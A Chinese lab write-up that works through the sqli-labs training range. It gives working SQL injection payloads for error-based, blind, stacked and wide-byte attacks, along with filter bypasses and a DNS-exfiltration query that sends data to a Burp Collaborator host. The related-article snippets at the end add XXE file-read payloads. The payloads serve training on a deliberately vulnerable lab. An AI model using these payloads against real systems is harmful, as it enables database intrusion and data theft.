sql-labs 练习笔记

简介#

这个节不涉及过多原理,而主要是靶场练习,想获得更多原理请见上篇博客。

基础知识#
如何闭合括号#

如果有报错则直接利用报错信息进行,否则尝试常见的闭合形式,简单的可以直接使用 bool 探测,而困难一点的可以尝试 sleep、dnslog 探测。

其次 注意 检测时 or 和 and 的差别,当主查询结果不一致时,这两个就有区别了

探测是否为数字型注入#

?id=3-1 ? id=2 若两者结果一致,则为数字型,否则为字符型。注意!不是绝对的。

报错注入:#
  1. extractvalue updatexml xml 解析函数报错

    image-20201210190313540

    原理是 xpath_expr 必须满足相应格式、否则会报 xpath_expr 错误。

    extractvalue(1,concat(0x7e,(select @@version),0x7e)) //最多报错32 个字符

    updatexml(1,concat(0x7e,(select @@version),0x7e),1)

    linestring(‘’); //差不多快能报错200多个字符

  2. select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    利用列名不能重复的特性

    image-20201210191438261

延时注入:#

必须包含条件判断,可以使用 if 或者具有短路属性的运算符。

 
if(condition,truething,falsething)
select if((select group_concat(id),username from users),sleep(10),'x');

耗时函数也可以这样 BENCHMARK(1000000,MD5(1))

堆叠注入#

相关函数:

mysqli_multi_query

mysqli_store_result

mysqli_fetch_row

mysqli_more_results

防御#

转义相关的函数:

  • addslashes stripslashes

    添加转义符,去掉转义符。值得注意的是,stripslashes 去掉转义符为非递归形式。

    尝试对 addslashes 绕过,数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。

  • mysql_real_escape_string()

    可以尝试宽字节绕过

    https://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string

  • 过滤注释 preg_replace

    空格过滤绕过

     
      
    %09 TAB 键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return 功能
    %0b TAB 键(垂直)
    //%a0 空格

    and or 过滤绕过

     
      
    aandnd
    && ||
注入笔记#
  1. less-1:由id 得用户信息,是select 型

     
      
    http://localhost/sqli-labs/Less-1/?id=1 and 1=1
    http://localhost/sqli-labs/Less-1/?id=1 and 1=2
    // 尝试整型注入,发现页面也没什么更改,尝试字符型,先乱搞一通看看是否会报错。
    http://localhost/sqli-labs/Less-1/?id=1'") and 1=1 --+
    // 由报错信息 '") and 1=1 -- ' LIMIT 0,1' 可知用'闭合,此处 # 注释不生效,使用 --+ 注释。
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
    http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3 limit 1,1--+
    //将原版查询数据用 id=-1 置空,或者也可以采用后面添加 limit 1,1 的形式,使我们的union select 正确显示数据到页面
    //用union select 不断尝试猜列数(也可以先用order by 猜测列数),并检测哪些会显示。
    Over!!,接下来调取信息就行
     
      
    //第6行都显示报错信息了,所以可以进一步尝试报错注入。
    http://localhost/sqli-labs/Less-1/?id=1' and 1=1 --+
    http://localhost/sqli-labs/Less-1/?id=1' and 1=2 --+
    //用正确的闭合形式发现显示内容不一样,可知存在bool 注入,布尔注入一旦存在,那么sleep注入一般也存在

    less-2、less-3、less-4 都是相似的,唯一不同就是闭合形式不同,由于都会显示报错信息,所以很容易得知正确闭合形式。同样的,报错、bool、sleep基本都可以。

  2. less-5:

     
      
    //进行和1-4 同样的套路尝试后,发现是' 闭合。
    //正常访问,不显示用户名和密码,所以不能像之前一样使用union select 将信息导入到屏幕。
    //尝试乱输入命令,发现会报错
    http://localhost/sqli-labs/Less-5/?id=1' and or--+
    //所以使用报错注入,bool 注入 ,延时注入 获取信息

    less-6 相似,只不过是 “ 形式的闭合

  3. less-7:

     
      
    http://localhost/sqli-labs/Less-7/?id=1
    http://localhost/sqli-labs/Less-7/?id=-1
    //发现查询失败也会报SQL 语法错误,而不是详细具体的错误信息,所以无法使用报错注入。但注意到查找成功与否与页面显示相关,所以可以使用bool 注入
    //成功将会显示You are in.... Use outfile......
    //失败将会显示You have an error in your SQL syntax
    //根据这个思想利用burp intruder构造出常见的闭合形式,然后得知正确闭合形式为'))
    //到这一步,可以使用bool 注入,进一步sleep 注入也可
    //想办法得到网站的路径,然后 into outfile 将查询结果写入到网站目录下的文件中,再通过浏览器访问这个文件。
    //不过网站路径挺难获得的
    //可以进一步使用load data infile 命令来将数据创入表中,然后再读取这个表的信息。

    less-8 和less-7类似 不过是 ‘ 形式闭合。所以采用bool 和 sleep 注入都可。

  4. less-9

     
      
    //查看源码后,发现查询正确与否,执行的echo 语句不一样,也就是响应的大小不同,所以可以使用bool 注入。

    less-10 和 less-9 类似,只不过是“ 闭合形式

  5. less-11

     
      
    //发现正常登录,所以尝试以下显示信息。
    uname=qwe' union select 1,2 -- #&passwd=zxc&submit=Submit
    //尝试and 1=1 和 and 1=2 时,页面不同,所以 bool 注入也可,所以sleep 注入也很有可能。
    //发现会报错,所以报错注入也可。
     
      
    less-12 类似,不过可以用“)常见注入方式判断 ,结合 and 1=1 and 1=2 可知正确闭合形式
  6. less-13

     
      
    bool 盲注就行

    less-14 一样,不过闭合形式变了。

  7. less-15

     
      
    bool 盲注 或 延时盲注

    less-16 一样

  8. less-17

    对name 进行注入,失败,看了一下源代码,发现对name 进行转义,而且使用的是mysql_real_escape_string, 基本没有绕过的希望了,再看下代码逻辑,对password 并没有转义,并且仔细看看代码逻辑,发现必须要填写正确 username 才有可能进行 password 注入。

    得到 username 后 ,对 password 进行报错注入。

  9. less-18

    不会,直接看下代码逻辑,发现 name 和 passwd 都被过滤处理,不过有显示报错语句,摆在我们面前有两条选择,要么操纵 name 或 passwd 使得数据库报错,要么输入正确的 name 和 passwd 使得 即将的 insert 语句报错。仔细想想,发现前者可能比较困难,所以尝试后者,$_SERVER['REMOTE_ADDR'] 没有伪造的可能,而 $_SERVER['HTTP_USER_AGENT'] 可以通过http 头部进行伪造

     
      
    INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
    奇妙的是,在mysql 中执行注入和在 burp 中执行下面的语句结果不同。
    ' and extractvalue(1,concat('~',version())),'sdf','sdf');-- '
    原因找到,是因为在 agents 那块不能用url 编码

    less-19 一样,不过是 referer 头部注入

  10. less-20

    看下代码逻辑,当没有设置 cookie 时,会对输入的 name 和 passwd 都检查,虽然之后有 print mysql_error 语句,但是还是很难触发错误。

    再看下设置 cookie 的代码逻辑,发现这块是注入点。

    less-21 与此相同,但闭合方式 为 ‘) 并且被编码过了。

    less-22 双引号闭合而已。

  11. less-23

    对注释过滤仿佛绕不过,那就直接用 union select 。

  12. less-24

    进行新用户注册时的代码为

     
      
    //注册时的 sql 语句,前有引号过滤,难以攻破
    $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    //对应的mysql 的log
    insert into users ( username, password) values("dumb\'#", "123")
    //登陆时,前面有过滤,难以攻破
    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    //对应的mysql 的log
    SELECT * FROM users WHERE username='dumb\'#' and password='123'
    //登录成功后修改密码时
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    //对应的mysql 的log
    UPDATE users SET PASSWORD='123456' where username='dumb'#' and password='123'

    代码的逻辑是在注册新用户时,dumb‘# 会被转义,然后传给数据库,数据库中存放的却是 dumb’# 。接下来是登录,在登陆时以 dumb\’# 输入到数据库,从数据库中提取出 dumb’# ,并在之后的逻辑传给修改密码模块中,这样的话,就向修改密码模块传入未经转义的数据。成功进行注入。

  13. less-25

    只进行 的 and or 大小写不敏感过滤,也没有进行转义。事实上,这块虽然存在过滤,但只是一次过滤,意味着可以这样绕过 aandnd

    所以直接使用非转义即可 union select 即可

    less-25a 类似的

  14. less-26

    1'%a0aandnd%a01' 不需要用到注释

    -1'||extractvalue(1,concat(0x7e,(select(@@version)),0x7e))||'1

    对空格进行过滤

    less-26a 一样,是相似的

  15. less-27

    id=a'uunionnion%0BSeLecT%0B1,2,'3 直接可以提取数据。

    并且可以用报错

    less-27a “ 闭合 ,而且无错误报错

  16. less-28

    1')&&(left(version(),1)='3')&&('1

    less-28a 类似

  17. less-29

    应该是这个连接 http://192.168.200.1/sqli-labs/Less-29/login.php

    看下代码逻辑,java_implimentation 提取id 参数,然后交给 whitelist 过滤。而sql 注入中的参数却是直接获取的参数

    whitelist 看不出漏洞点,而 前面那个函数中 有这样一句,idvalue=substr(idvalue=substr(value, 3, 30); 所以理论上可以利用截断尝试以下。

    此外,因为 whitelist 会检测失败时重定向,所以burp 阻止重定向请求即可看到原文。所以也可以这步时进行报错注入。

    123456789012345678901234567890' union select 1,version(),'3

    less-30 less-31套路一样,不过是闭合方式不同

  18. less-32

     
      
    a%df%27union%20select%201%2cversion()%2c%df%273
    会报错,
    a%df%27union%20select%201%2cversion()%2c3--%20
    就成功,究其原因,%df%5c 代表的汉字在" " 内可以,而在引号外就为无法识别的命令。
    所以,如果想要尝试第二种,那么也意味着在 'xx' 想要这样正确闭合而不是使用注释,那么这样是行不通的,会陷入无穷宽字节注入以逃脱引号的困境中。
    如果尝试第二种即 '' 为空的话,也不行,也就是说 %df' 这个顺序决定了只能在里面。

    less-33 同理 less-34 提交形式发生改变而已。

  19. less-35

    直接bool 注入 ?id=3 and 1 报错也可

    less-36 less-37 都是类似的都是宽字节

  20. less-38

    less-39 堆叠注入,不过没有字符闭合,

    less-40 闭合方式换了以下

    less-41 堆叠直接注,不过不会显示结果,所以也可以不用堆叠,直接盲注。

  21. less-42

    比起二次注入那块,这块无法创建新用户,所以无法二次注入。

    尝试别的:1. 报错注入

     
      
    ddd' and extractvalue(1,concat('~',version()))--

    less-43 less-44相似,闭合形式发生改变。

    值得注意的是,当登录成功后修改密码时,username 是从cookie 中获取,而cookie 中的 username 是从登录成功后数据库返回的。而这块关闭注册通道,没有办法利用二次注入先注入有害数据。

    less-45 ‘) 闭合后进行盲注,特点是是否会进行重定向

  22. less-46

    此处是id 按照排序,所以完全可以利用一些手段进行 bool 注入。例如,跟列名关联起来

    SELECT * FROM users ORDER BY (id=(version() like '5%'));

    SELECT * FROM users ORDER BY (id=(version() like '1%'));

    less-47 多了一个‘ 闭合

    less-48 无法使用报错注入

    less-49 bool 盲注

  23. less-50

    正常而堆叠注入,或者报错注入都可。

    less-51 多了一个闭合。

    less-52 less-53 基本是 50 - 51 的复现,少了个 报错,其它几乎没变。

  24. less-54

    从题目的信息可知,库名为 challenges ,表名、列名、和数据都是随机的。表和数据猜测应该只有一个。

     
      
    id=3-2 //发现获取的是3号的账户,所以字符型注入。先按简单的对待(没有过滤之类),花几次机会试出闭合方式。
    id=3' and 1-- #
    id=3' and 0-- #
    //运气较好,稍微尝试,接下来就 union 显示数据。我这块为了省次数稍微精简了一下
    id=a' union select 1,(select concat(group_concat(column_name),'~~',table_name) from information_schema.columns where table_schema='challenges' and table_name=(select table_name from information_schema.tables where table_schema='challenges')),3-- #
    //利用的就是下面通用的方法以查询表的列名。
    //select concat(group_concat(column_name),'~~',table_name) from information_schema.columns where table_schema='challenges' and table_name=(select table_name from information_schema.tables where table_schema='challenges');
    //select concat(group_concat(column_name),'~',t1.table_name) from information_schema.columns t1,information_schema.tables t2 where t1.table_schema='challenges'&&t2.table_schema=t1.table_schema;
    //select table_name from information_schema.tables where table_schema='challenges';
    //select group_concat(column_name) from information_schema.columns where table_name='';
    //select secret_3gdz from challenges.agjdc0392v;
    //也可以精简到一行完成,
    //接下来只需要读出数据即可
    id=a' union select 1,group_concat(id,sessid,'~',secret_3GDZ,'~',tryy),3 from challenges.agjdc0392v-- #
     
      
    less-55
    id=3-2 //出来却是用户一的信息,说明是整数型,但直接进行 union select 失败,推测有括号闭合
    //试了一试,发现果真存在)
    后面的调数据的操作和 1 没什么区别,就省略了~
    less-57
    基本换汤不换药,闭合方式改为"
    less-56
    id=3-1 //检测后是字符型,尝试闭合,经过几次尝试后发现是 ')
  25. less-58

     
      
    id=3-1 //发现不是预期的值,再 id=3-2 试试,发现为字符型注入
    //试了下错误,发现会报错,并且闭合方式为 '
    //但感觉不受参数id 控制。。
    尝试报错注入,发现成功 常用的extractvalue 只能提取的数据不完整,尝试其它报错方式
    //linestring 也因为字符数不够多
    实际上这关只有5次尝试机会,所以我重置了几次,最后才成功报错获取数据。
    1'&&extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='challenges')))&&'1

    less-59 变为数字型

    less-60 闭合方式 “)

    less-61 ‘))

  26. less-62

    有了前两个系列的 挑战,这块花不了几次就能猜出闭合方式,’

    虽然标题上说是 盲注,但是利用bool 盲注工作量有点大,先试试常见的union select 可行否

    union select 不可行,不知道是什么原因,过滤注释、过滤union、过滤空格等。先行放弃尝试,研究一下bool 注入。

    大概估算一下次数,大小写字母加上数字 62个,也就是说一个字符最多猜 6次,平均5次假设表名 10 个字符,列名4个 字符,密钥 20 个字符,那么它给定的次数比较危险。

    总结一下现在的思路,bool 注入,尝试猜出过滤形式,尝试使用 dns 注入。

     
      
    1'&&if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='challenges'),'.q0rb3sebcl6gsnugf8ctoyeba2gs4h.burpcollaborator.net\\accc'))),0,1)&&'1
    1'&&if((select load_file(concat('\\\\',mid((select column_name from information_schema.columns where table_name='44wkr0s3fn' limit 2,1),8,4),'.q0rb3sebcl6gsnugf8ctoyeba2gs4h.burpcollaborator.net\\accc'))),0,1)&&'1
    //注意这个 , dns 注入时路径必须满足某种形式,这块用mid 裁剪
    1'&&if((select load_file(concat('\\\\',(select secret_GAJ7 from challenges.44wkr0s3fn),'.q0rb3sebcl6gsnugf8ctoyeba2gs4h.burpcollaborator.net\\accc'))),0,1)&&'1

    做完后看一下源码,果然用户名和密码不是库里的

    less-63 ‘ 闭合 less-64 好家伙,居然有两个 ) 不过没关系,我们 上面的方法不注释括号,只进行bool 逻辑,所以没关系。

    less -65 闭合 双引号,注意的是,我们这种 bool 判断的优点就是不用闭合括号,但引号还是需要闭合。

无了,完结,恭喜~~!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/939220.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

NOTEBOOK_11 汽车电子设备分享(工作经验)

汽车电子设备分享 摘要 本文主要列出汽车电子应用的一些实验设备和生产设备,部分会给予一定推荐。目录 摘要一、通用工具:二、测量与测试仪器2.1测量仪器2.2无线通讯测量仪器2.3元器件测试仪2.4安规测试仪2.5电源供应器2.6电磁兼容测试设备2.7可靠性环境…

10.1k高星 GitHub 库:告别JSON错误:Outlines如何提升大模型的结构化输出

在人工智能和大语言模型(LLM)的应用中,如何高效、可靠地从模型输出中提取结构化数据,成为了一个至关重要的课题。本篇文章将介绍 GitHub 高星开源库 Outlines,并分析它如何帮助开发者解决大模型在生成结构化数据时面临的挑战。我们将探讨大模型的非结构化输出给 AI 应用带…

【计算机毕设】基于Python预制菜可视化数据分析预测推荐系统(完整系统源码+数据库+详细部署教程)✅

目录 【计算机毕设】基于Python预制菜可视化数据分析预测推荐系统(完整系统源码数据库详细部署教程)✅源码获取方式在文章末尾 一、项目背景 二、研究目的 三、项目意义 四、项目功能 五、项目创新点 六、开发技术介绍 七、数据库设计 八、项目…

设计模式期末复习

一、设计模式的概念以及分类 二、设计模式的主题和意图 三、面向对象程序设计原则,记住名字,还要理解它的使用场景以及如何用? 四、松耦合、紧耦合、强关联、弱关联、静态复用、动态复用的概念,还有静态委派,动态委…

ELK系列-(六)Redis也能作为消息队列?(上)

一、前文回顾 🔍 在前面的ELK系列中,我们已经搭建了ELK的核心组件,包括: ELK系列-(一)Docker部署ELK核心组件ELK系列-(二)LogStash数据处理的瑞士军刀ELK系列-(三&…

二进制分析的新兴趋势:塑造安全的移动应用

在当今快速发展的数字世界中,保障移动应用的安全性变得尤为重要。随着移动技术的广泛应用,安全性需求也日益增强。二进制分析作为确保移动应用安全和合规性的重要手段,通过对已编译的应用进行深入分析,能够发现源代码中难以察觉的…

Pikachu-XXE靶场(注入攻击)

1.攻击测试 <?xml version"1.0"?> <!DOCTYPE foo [ <!ENTITY xxe "a" > ]> <foo>&xxe;</foo> 2.查看文件 <?xml version"1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///E:/ph…

CSS学习记录12

CSS浮动 CSSfloat属性规定元素如何浮动 CSSclear属性规定哪些元素可以在清除的元素旁边以及在哪一侧浮动。 float属性 float属性用于定位和格式化内容&#xff0c;例如让图像向左浮动到容器的文本那里。 float属性可以设置以下值之一&#xff1a; left - 元素浮动到其容器…

概率论得学习和整理30: 用EXCEL 描述泊松分布 poisson distribution

目录 1 泊松分布的基本内容 1.1 泊松分布的关键点 1.1.1 属于离散分布 1.1.2 泊松分布的特点&#xff1a;每个子区间内概率相等 &#xff0c; λ就是平均概率 1.2 核心参数 1.3 pmf公式 1.4 期望和方差 2 例1&#xff1a;用EXCEL计算泊松分布的概率 3 比较λ不同值时…

leetcode212. 单词搜索 II

给定一个 m x n 二维字符网格 board 和一个单词&#xff08;字符串&#xff09;列表 words&#xff0c; 返回所有二维网格上的单词 。 单词必须按照字母顺序&#xff0c;通过 相邻的单元格 内的字母构成&#xff0c;其中“相邻”单元格是那些水平相邻或垂直相邻的单元格。同一…

Y20030009基于Java+springboot+MySQL+uniapp框架的待办事项提醒微信小程序的设计与实现 源码 文档 PPT

待办事项提醒小程序 1.摘要2.开发目的和意义3.系统功能设计4.系统界面截图5.源码获取 1.摘要 随着现代人的工作和生活压力越来越大&#xff0c;人们的精力和时间也越来越有限。在这样的情况下&#xff0c;很容易忘记一些很重要的行程&#xff0c;有时会导致严重的后果&#xf…

实践环境-docker安装mysql8.0.40步骤

一、docker安装mysql 8.0.40版本 1、检索镜像版本 docker search mysql:8.0.40 NAME DESCRIPTION STARS OFFICIAL mysql MySQL is a widely used, open-source relation… …

测试工程师八股文05|功能测试、业务测试

一、基础概念 1、软件测试分类 1️⃣按照软件产生的阶段划分 单元测试&#xff1a;针对程序源代码进行测试【开发自测】集成测试&#xff1a;针对模块之间功能交互进行测试系统测试&#xff1a;对整个系统&#xff08;功能、非功能&#xff09;进行全面测试验收测试&#xff…

【Java】:lambda 表达式

&#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;java学习 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&#x1f3fd;留言 &#x1f60d;收藏 &#x1f49e; &#x1f49e; &#x1f49e; 1. 背景 &#x1f680; &#x1f…

低级计算机网络知识总结

1 应用层 1.1 HTTP(TCP) 浏览器访问WWW服务器过程&#xff1a;首先进行域名解析&#xff0c;然后通过TCP向服务器发送连接请求 HTTP本身是无连接&#xff0c;无状态的。无状态特性使服务器能够支持大量的并发HTTP请求。实际应用中&#xff0c;通常使用Cookie加数据库跟踪用户…

【OSS】php使用oss存储

阿里云oss官方文档&#xff1a;文档 1、前期工作 创建阿里云账号&#xff0c;登录创建bucket&#xff0c;注意修改权限&#xff0c;要不然可能读取不到 申请accessKeyId和accessKeySecret accessKey 2、项目中安装OSS扩展 composer require aliyuncs/oss-sdk-php3、基础使…

基线检查:Windows安全基线.【手动 || 自动】

基线定义 基线通常指配置和管理系统的详细描述&#xff0c;或者说是最低的安全要求&#xff0c;它包括服务和应用程序设置、操作系统组件的配置、权限和权利分配、管理规则等。 基线检查内容 主要包括账号配置安全、口令配置安全、授权配置、日志配置、IP通信配置等方面内容&…

windows 使用python共享网络给另外一个网卡

# -*- coding: utf-8 -*- import subprocessdef open_share(to_shared_adapter, from_shared_adapter):"""打开以太网的网络共享:return: None"""powershell_script f"""# Register the HNetCfg library (once)# regsvr32 hnetc…

【Elasticsearch入门到落地】4、Elasticsearch的安装

接上篇《3、es与mysql的概念对比》 上一篇我们学习了Elasticsearch与Mysql的概念与区别。本篇我们来进行Elasticsearch的环境准备及软件安装。 一、环境准备 如果我们没有自己的Linux服务器&#xff0c;且现在正在使用的是Windows操作系统的电脑&#xff0c;那么首先我们需要安…

小程序快速实现大模型聊天机器人

需求分析&#xff1a; 基于大模型&#xff0c;打造一个聊天机器人&#xff1b;使用开放API快速搭建&#xff0c;例如&#xff1a;讯飞星火&#xff1b;先实现UI展示&#xff0c;在接入API。 最终实现效果如下&#xff1a; 一.聊天机器人UI部分 1. 创建微信小程序&#xff0c…